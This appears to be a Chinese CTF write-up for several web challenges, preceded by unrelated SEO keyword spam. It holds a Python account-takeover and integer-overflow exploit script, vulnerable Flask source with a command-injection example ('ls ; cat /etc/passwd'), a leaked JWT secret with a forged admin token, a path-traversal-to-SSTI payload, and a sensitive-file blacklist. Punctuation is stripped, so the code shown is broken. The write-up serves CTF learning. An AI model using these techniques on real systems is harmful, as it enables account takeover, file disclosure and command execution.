店铺网站怎么建,伦教九江网站建设,网站建设报价请示,wordpress卡密插件神秘商店打开题目只有一个登录框登录admin利用全角来注册登录后端代码有转换#xff0c;全角能够绕过后端对admin的检测#xff0c;然后把全角admin识别成正常的admin#xff0c;造成覆盖注册#xff0c;修改admin密码注册admin#xff0c;其中n为全角利用整数溢出4294967…神秘商店打开题目只有一个登录框登录admin利用全角来注册登录后端代码有转换全角能够绕过后端对admin的检测然后把全角admin识别成正常的admin造成覆盖注册修改admin密码注册admin其中n为全角利用整数溢出4294967246到50购买flag可以直接脚本登录import requests def exploit(): url http://challenge2.pctf.top:32735 session requests.Session() print([] 注册管理员账户...) users { username: admi, password: 123456 } response session.post(f{url}/register, datausers) print(f[] 注册响应: {response.status_code}) print([] 登录...) users { username: admi, password: 123456 } response session.post(f{url}/login, datausers) print(f[] 登录响应: {response.status_code}) response session.get(f{url}/user) print(f[] 用户信息:{response.text}) print([] 触发rust整数溢出...) amount {amount: 4294967246} response session.post(f{url}/add_balance, dataamount) print(f[] 增加余额: {response.text}) print([] 购买Flag...) product {product_id: 4} response session.post(f{url}/buy_product, jsonproduct) print(f[] 购买结果: {response.text}) if __name__ __main__: exploit()php特性We_will_rockyou下载源码进行分析 Item: Safety Linux Server Panel Time: 2025-10-24 Author: 1ceLAND from flask import Flask, redirect, url_for, render_template, request import jwt import uuid import os import subprocess from werkzeug.security import generate_password_hash, check_password_hash app Flask(__name__) app.config[SECRET_KEY] str(uuid.uuid4()) # instead of sqlite accounts {} def create_token(user_id, username): payload { user_id: user_id, username: username } token jwt.encode(payload, app.config[SECRET_KEY], algorithmHS256) if isinstance(token, bytes): token token.decode(utf-8) return token def verify_token(token): try: payload jwt.decode(token, app.config[SECRET_KEY], algorithms[HS256]) user_id payload[user_id] username payload[username] return user_id, username except: return None def login_required(f): from functools import wraps wraps(f) def decorated(*args, **kwargs): token request.cookies.get(token) if not token: return redirect(url_for(login)) res verify_token(token) if not res: return redirect(url_for(login)) user_id, username res return f(user_id, username, *args, **kwargs) return decorated def check_login(u, p): for user_id, info in accounts.items(): if info[username] u: return check_password_hash(info[password], p), user_id return False, None app.route(/) def index(): return redirect(url_for(login)) app.route(/login, methods[GET, POST]) def login(): error_msg None if request.method POST: username request.form[username] password request.form[password] ok, user_id check_login(username, password) if ok: token create_token(user_id, username) response redirect(url_for(dashboard)) response.set_cookie(token, token, httponlyTrue) return response else: error_msg Username or Password incorrect! return render_template(login.html, error_msgerror_msg) app.route(/logout) def logout(): response redirect(url_for(login)) response.delete_cookie(token) return response app.route(/dashboard) login_required def dashboard(user_id, username): return render_template(dashboard.html, user_iduser_id, usernameusername) import subprocess SAFE_COMMANDS [ls, pwd, whoami, dir, more] app.route(/dashboard/run, methods[POST]) login_required def run_command(user_id, username): user_id, username verify_token(request.cookies.get(token)) cmd request.form.get(command, ).strip() if not cmd or cmd.split()[0] not in SAFE_COMMANDS: return render_template(dashboard.html, user_iduser_id, usernameusername, error_msgError: Command not allowed or empty) try: result subprocess.run(cmd, shellTrue, capture_outputTrue, textTrue, timeout5) output result.stdout result.stderr return render_template(dashboard.html, user_iduser_id, usernameusername, outputoutput, commandcmd) except Exception as e: return render_template(dashboard.html, usernameusername, error_msgfError: {str(e)}) if __name__ __main__: admin_id 0 admin_username admin123 admin_password str(uuid.uuid4()) # password overlay for path in [/password, ./password.txt]: try: if os.path.exists(path) and os.path.isfile(path): with open(path, rb) as f: raw f.read() if not raw: continue text raw.decode(utf-8, errorsreplace).strip() candidates [line.strip() for line in text.splitlines() if line.strip()] if candidates: import secrets admin_password secrets.choice(candidates) break except: pass print(f * Admin password: {admin_password}) accounts[admin_id] { username: admin_username, password: generate_password_hash(admin_password) } app.run(debugFalse, host0.0.0.0)基础配置与初始化from flask import Flask, redirect, url_for, render_template, request import jwt import uuid import os import subprocess from werkzeug.security import generate_password_hash, check_password_hash app Flask(__name__) # 每次重启服务器时SECRET_KEY 都会随机生成这意味着服务器重启后所有旧 Token 都会失效。 app.config[SECRET_KEY] str(uuid.uuid4()) # 内存数据库用户信息存储在字典中服务器重启则数据清空。 accounts {}认证逻辑 (JWT)这部分负责用户登录状态的维持。def create_token(user_id, username): payload { user_id: user_id, username: username } # 使用 HS256 算法加密生成 JWT token jwt.encode(payload, app.config[SECRET_KEY], algorithmHS256) if isinstance(token, bytes): # 兼容旧版本 PyJWT token token.decode(utf-8) return token def verify_token(token): try: # 解码并验证签名。由于使用了随机 UUID 作为 KEY安全性在运行时还可以但无法持久化。 payload jwt.decode(token, app.config[SECRET_KEY], algorithms[HS256]) return payload[user_id], payload[username] except: return Nonedef login_required(f): from functools import wraps wraps(f) def decorated(*args, **kwargs): token request.cookies.get(token) if not token: return redirect(url_for(login)) res verify_token(token) if not res: return redirect(url_for(login)) user_id, username res # 将解析出的用户信息注入到被装饰的路由函数中 return f(user_id, username, *args, **kwargs) return decorated def check_login(u, p): # 遍历内存中的账户字典比对哈希后的密码 for user_id, info in accounts.items(): if info[username] u: return check_password_hash(info[password], p), user_id return False, None路由处理 (登录/登出)app.route(/login, methods[GET, POST]) def login(): # ... 略 ... if ok: token create_token(user_id, username) response redirect(url_for(dashboard)) # 设置了 httponlyTrue一定程度上防范了 XSS 攻击窃取 Cookie response.set_cookie(token, token, httponlyTrue) return response # ... 略 ...命令执行逻辑SAFE_COMMANDS [ls, pwd, whoami, dir, more] app.route(/dashboard/run, methods[POST]) login_required def run_command(user_id, username): cmd request.form.get(command, ).strip() # 检查机制只判断命令行的第一个单词是否在白名单内 if not cmd or cmd.split()[0] not in SAFE_COMMANDS: return ... # 报错 try: # 风险点shellTrue。虽然开头是 ls但可以利用 shell 拼接符。 # 例如输入: ls ; cat /etc/passwd # 这里的白名单检查只看到了 ls符合要求但 shell 会执行后面的 cat 命令。 result subprocess.run(cmd, shellTrue, capture_outputTrue, textTrue, timeout5) output result.stdout result.stderr # ... 返回结果 ...启动逻辑与管理员密码初始化if __name__ __main__: admin_id 0 admin_username admin123 # 默认随机生成一个 UUID 密码 admin_password str(uuid.uuid4()) # 密码覆盖机制尝试从系统文件读取密码 for path in [/password, ./password.txt]: try: if os.path.exists(path) and os.path.isfile(path): with open(path, rb) as f: raw f.read() # ... 解码并从文件行中随机选一个作为 admin 密码 ... # 这意味着如果能控制这两个文件之一就能预设管理员密码。 break except: pass # 启动时会在控制台打印管理员密码用于初次运行查看 print(f * Admin password: {admin_password}) accounts[admin_id] { username: admin_username, password: generate_password_hash(admin_password) } app.run(debugFalse, host0.0.0.0)admin用户名不变一直为admin123jwt密钥是随机生成的可是这里审计发现admin密码虽然一开始是随机生成的但是后面从一 个txt文本中随机抽取并覆盖了admin密码这里考察点应该是用字典中的密码爆破题目描述提示Try rockyou.txt!则使用rockyou字典爆破密码用户名是admin123barbiels /查看的方法有很多过滤的waf也不行信息收集密码爆破命令执行Jwt_password_managerfrom flask import Flask, request, redirect, url_for, render_template import jwt import uuid import os from werkzeug.security import generate_password_hash, check_password_hash app Flask(__name__) # 关键安全点JWT 签名使用的密钥。如果泄露任何人都可以伪造 token app.config[SECRET_KEY] 0f3cbb44-f199-4d34-ade9-1545c0972648 accounts_usernames [] # 存储所有注册的用户名 accounts {} # 存储用户名及其对应的密码哈希值 {username: hash} user_passwords {} # 存储每个用户的密码项 {username: [item1, item2, ...]} def check_username(new_username): if new_username in accounts_usernames: return True return False def check_login(username, password): if username not in accounts: return False return check_password_hash(accounts[username], password) def insert_account(new_username, new_password_hash): try: accounts_usernames.append(new_username) accounts[new_username] new_password_hash user_passwords[new_username] [] return True except: return False check_username(new_username): 检查用户名是否已被占用。 check_login(username, password): 使用 check_password_hash 验证用户输入的明文密码与存储的哈希值是否匹配。 insert_account(new_username, new_password_hash): 初始化新用户在内存中为其开辟空间。 def create_token(username): # create jwt payload { username: username, } token jwt.encode(payload, app.config[SECRET_KEY], algorithmHS256) if isinstance(token, bytes): token token.decode(utf-8) return token def verify_token(token): try: payload jwt.decode(token, app.config[SECRET_KEY], algorithms[HS256]) return payload[username] except: return None def login_required(f): def decorated(*args, **kwargs): token request.cookies.get(token) if not token or not verify_token(token): return redirect(url_for(login)) return f(*args, **kwargs) decorated.__name__ f.__name__ return decorated def add_password_item(username, website, site_username, password, notes): try: password_item { id: str(uuid.uuid4()), website: website, username: site_username, password: password, notes: notes, } user_passwords[username].append(password_item) return True except: return False def delete_password_item(username, item_id): # delete ... try: user_passwords[username] [item for item in user_passwords[username] if item[id] ! item_id] return True except: return False def get_user_passwords(username): # get all password_item of someone ... return user_passwords.get(username, []) app.route(/) def index(): return redirect(url_for(login)) app.route(/register, methods[GET, POST]) def register(): if request.method POST: username request.form[username] password request.form[password] user_exists check_username(username) if user_exists: return render_template(register.html, error_msgUser Already Existed!) password_hash generate_password_hash(password) insert_account(username, password_hash) return redirect(url_for(login)) return render_template(register.html) app.route(/login, methods[GET, POST]) def login(): if request.method POST: username request.form[username] password request.form[password] user_exists check_username(username) if user_exists False: return render_template(login.html, error_msgUsername or Password Wrong!) if check_login(username, password): token create_token(username) response redirect(url_for(dashboard)) response.set_cookie(token, token, httponlyTrue) return response else: return render_template(login.html, error_msgUsername or Password Wrong!) return render_template(login.html) app.route(/logout) def logout(): response redirect(url_for(login)) response.delete_cookie(token) return response app.route(/dashboard) login_required def dashboard(): username verify_token(request.cookies.get(token)) passwords get_user_passwords(username) return render_template(dashboard.html, usernameusername, passwordspasswords) app.route(/add_password, methods[POST]) login_required def add_password(): username verify_token(request.cookies.get(token)) website request.form[website] site_username request.form[site_username] password request.form[password] notes request.form.get(notes, ) if add_password_item(username, website, site_username, password, notes): return redirect(url_for(dashboard)) else: return render_template(dashboard.html, usernameusername, passwordsget_user_passwords(username), error_msgAdd password error) app.route(/delete_password/item_id) login_required def delete_password(item_id): username verify_token(request.cookies.get(token)) if delete_password_item(username, item_id): return redirect(url_for(dashboard)) else: return render_template(dashboard.html, usernameusername, passwordsget_user_passwords(username), error_msgDelete password error) if __name__ __main__: # 1. 自动创建一个 admin 账号密码是随机生成的 UUID admin_password str(uuid.uuid4()) insert_account(admin, generate_password_hash(admin_password)) # 2. 模拟 CTF 环境读取服务器本地的 flag.txt 文件 for path in [/flag, ./flag.txt]: try: if os.path.exists(path) and os.path.isfile(path): with open(path, rb) as f: raw f.read() if raw: content raw.decode(utf-8, errorsreplace).strip() # 3. 将读取到的 flag 作为一条密码存入 admin 账号中 add_password_item(admin, websiteseeded-flag, ..., passwordcontent) break except: pass app.run(debugFalse, host0.0.0.0)下载附件审计代码发现泄露的jwt密钥查看逻辑发现他读取了flagflag是admin的passwordapp.config[SECRET_KEY] 0f3cbb44-f199-4d34-ade9-1545c0972648admin_password str(uuid.uuid4()) insert_account(admin, generate_password_hash(admin_password)) # flag in admin account ! ^-^ for path in [/flag, ./flag.txt]: try: if os.path.exists(path) and os.path.isfile(path): with open(path, rb) as f: raw f.read() if raw: content raw.decode(utf-8, errorsreplace).strip() add_password_item(admin, websiteseeded-flag, site_usernameflag-file, passwordcontent, notesfseeded from {path}) break except: pass那么我们就开始先注册一个账号拿到普通的token然后去jwt.io解密jwt然后修改成admin然后伪造后得到flag伪造后admin的token为然后修改为admin的tokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo保存密码获取flagJWT伪造ez_upload这里打开文件上传任何文件都查看不了尝试直接读取/etc/passwd但是被过滤了查看源码import os import uuid from flask import Flask, request, render_template_string, redirect, url_for, send_from_directory, flash, jsonify from werkzeug.exceptions import RequestEntityTooLarge app Flask(__name__) app.secret_key your_secret_key_here UPLOAD_FOLDER uploads MAX_FILE_SIZE 16 * 1024 * 1024 ALLOWED_EXTENSIONS {txt, pdf, png, jpg, jpeg, gif, doc, docx, zip, html} BLACKLIST_KEYWORDS [ env, .env, environment, profile, bashrc, proc, sys, etc, passwd, shadow, flag ] app.config[UPLOAD_FOLDER] UPLOAD_FOLDER app.config[MAX_CONTENT_LENGTH] MAX_FILE_SIZE if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) def allowed_file(filename): return . in filename and filename.rsplit(., 1)[1].lower() in ALLOWED_EXTENSIONS app.route(/) def index(): try: with open(templates/index.html, r, encodingutf-8) as f: template_content f.read() return render_template_string(template_content) except FileNotFoundError: try: with open(templates/error_template_not_found.html, r, encodingutf-8) as f: return f.read() except: return h1错误/h1p模板文件未找到/pa href/upload上传文件/a except Exception as e: try: with open(templates/error_render.html, r, encodingutf-8) as f: template f.read() return render_template_string(template, error_messagestr(e)) except: return h1渲染错误/h1p str(e) /pa href/upload上传文件/a app.route(/upload, methods[GET, POST]) def upload_file(): if request.method POST: if file not in request.files: flash(没有选择文件) return redirect(request.url) file request.files[file] if file.filename : flash(没有选择文件) return redirect(request.url) if file and allowed_file(file.filename): filename file.filename filename filename.replace(../, ) file_path os.path.join(UPLOAD_FOLDER, filename) try: file.save(file_path) flash(文件 {} 上传成功.format(filename)) return redirect(/upload) except Exception as e: flash(文件上传失败: {}.format(str(e))) return redirect(request.url) else: flash(不允许的文件类型) return redirect(request.url) try: with open(templates/upload.html, r, encodingutf-8) as f: template_content f.read() return render_template_string(template_content) except FileNotFoundError: try: with open(templates/error_upload_not_found.html, r, encodingutf-8) as f: return f.read() except: return h1错误/h1p上传页面模板未找到/pa href/返回主页/a app.route(/file) def view_file(): file_path request.args.get(file, ) if not file_path: try: with open(templates/file_no_param.html, r, encodingutf-8) as f: return f.read() except: return h1文件查看/h1p请使用 ?file 参数指定要查看的文件/pa href/返回主页/a file_path_lower file_path.lower() for keyword in BLACKLIST_KEYWORDS: if keyword in file_path_lower: try: with open(templates/file_error.html, r, encodingutf-8) as f: template f.read() return render_template_string(template, file_pathfile_path, error_message访问被拒绝文件路径包含敏感关键词 [{}].format(keyword)) except: return h1访问被拒绝/h1p文件路径包含敏感关键词/pa href/返回主页/a try: with open(file_path, r, encodingutf-8) as f: file_content f.read() try: with open(templates/file_view.html, r, encodingutf-8) as f: template f.read() return render_template_string(template, file_pathfile_path, file_contentfile_content) except: return h1文件内容/h1pre{}/prea href/返回主页/a.format(file_content) except Exception as e: try: with open(templates/file_error.html, r, encodingutf-8) as f: template f.read() return render_template_string(template, file_pathfile_path, error_messagestr(e)) except: return h1文件读取失败/h1p错误: {}/pa href/返回主页/a.format(str(e)) app.errorhandler(RequestEntityTooLarge) def too_large(e): try: with open(templates/error_too_large.html, r, encodingutf-8) as f: template f.read() return render_template_string(template, max_sizeMAX_FILE_SIZE // (1024*1024)), 413 except: return h1文件过大/h1p文件大小不能超过 {} MB/p.format(MAX_FILE_SIZE // (1024*1024)), 413 app.errorhandler(404) def not_found(e): try: with open(templates/error_404.html, r, encodingutf-8) as f: return f.read(), 404 except: return h1404/h1p页面不存在/p, 404 app.errorhandler(500) def server_error(e): try: with open(templates/error_500.html, r, encodingutf-8) as f: template f.read() return render_template_string(template, error_messagestr(e)), 500 except: return h1500/h1p服务器内部错误: {}/p.format(str(e)), 500 if __name__ __main__: print(启动Flask文件上传应用...) print(上传目录: {}.format(UPLOAD_FOLDER)) print(最大文件大小: {} MB.format(MAX_FILE_SIZE // (1024*1024))) print(允许的文件类型: {}.format(ALLOWED_EXTENSIONS)) app.run(debugFalse, host0.0.0.0, port5000)app.route(/file) def view_file(): file_path request.args.get(file, ) # 从 URL 参数 ?file 获取路径 if not file_path: # ... (逻辑省略) # [黑名单防御] file_path_lower file_path.lower() for keyword in BLACKLIST_KEYWORDS: if keyword in file_path_lower: # 如果命中黑名单渲染错误信息 return render_template_string(template, error_message...{}.format(keyword)) try: with open(file_path, r, encodingutf-8) as f: # [高危] 直接打开用户指定的路径 file_content f.read() # [SSTI 漏洞] # file_content 是用户上传的文件内容 # 如果用户上传一个包含 {{ 7*7 }} 的文件并在此查看Flask 会执行其中的模板代码 return render_template_string(template, file_pathfile_path, file_contentfile_content) except Exception as e: # ... (错误处理)render_template_string渲染了html页面内容,则可以实现覆盖index.html在里面实现ssti绕过上传限制....//templates/index.html成功读取SSTI信息收集Do_you_know_session?看到题目到处试了试ssti发现在搜索框中可以进行ssti/search?context但是有waf只能看到config,刚好secretkey就存在这里我们直接就可以获取到1919810#mistyovofoxdoglzz0403#114514然后我们看到我们有session,用flask-session-cookie-manager读取environ得到flagsession伪造